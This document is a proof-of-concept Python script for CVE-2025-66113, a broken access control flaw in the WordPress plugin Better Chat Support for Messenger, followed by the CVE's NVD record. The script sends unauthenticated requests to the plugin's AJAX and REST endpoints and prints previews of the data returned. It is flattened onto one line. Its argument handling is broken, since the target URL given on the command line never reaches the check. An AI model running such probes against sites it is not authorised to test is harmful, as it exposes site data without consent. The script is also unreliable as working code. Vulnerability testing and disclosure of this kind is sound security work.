CVE-2025-66113

#!/usr/bin/env python3 """ CVE-2025-66113 PoC - Better Chat Support Broken Access Control Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys TARGET_URL = "https://vulnerable-site.com" # Replace with target URL def check_vulnerability(): """Check if the target is vulnerable to CVE-2025-66113""" print(f"[*] Testing {TARGET_URL} for CVE-2025-66113") print("[*] Vulnerability: Missing Authorization in Better Chat Support\n") # Test 1: Check if admin-ajax.php endpoint is accessible without auth endpoints = [ "/wp-admin/admin-ajax.php", "/wp-json/better-chat-support/v1/settings", "/wp-json/better-chat-support/v1/chats", ] vulnerable = False for endpoint in endpoints: url = TARGET_URL + endpoint # Test with action parameter (common for AJAX endpoints) if "admin-ajax.php" in endpoint: params = {"action": "better_chat_get_settings"} try: response = requests.get(url, params=params, timeout=10) if response.status_code == 200: print(f"[+] Endpoint {endpoint} is accessible without authentication") print(f"[+] Response preview: {response.text[:200]}...") vulnerable = True except requests.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") # Test REST API endpoints else: try: response = requests.get(url, timeout=10) if response.status_code in [200, 400, 403]: # Any response other than 401/404 might indicate the endpoint exists print(f"[+] REST endpoint {endpoint} returned status {response.status_code}") if response.status_code == 200: print(f"[+] Response preview: {response.text[:200]}...") vulnerable = True except requests.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") if vulnerable: print("\n[!] Target appears to be VULNERABLE to CVE-2025-66113") print("[!] Recommendation: Update Better Chat Support plugin to version > 1.2.18") else: print("\n[*] Target does not appear to be vulnerable or plugin not detected") return vulnerable def main(): if len(sys.argv) > 1: TARGET_URL = sys.argv[1] check_vulnerability() if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-66113", "sourceIdentifier": "[email protected]", "published": "2025-11-21T13:15:53.153", "lastModified": "2026-04-27T18:16:36.490", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in ThemeAtelier Better Chat Support for Messenger better-chat-support allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Better Chat Support for Messenger: from n/a through <= 1.2.18."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/better-chat-support/vulnerability/wordpress-better-chat-support-for-messenger-plugin-1-2-18-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}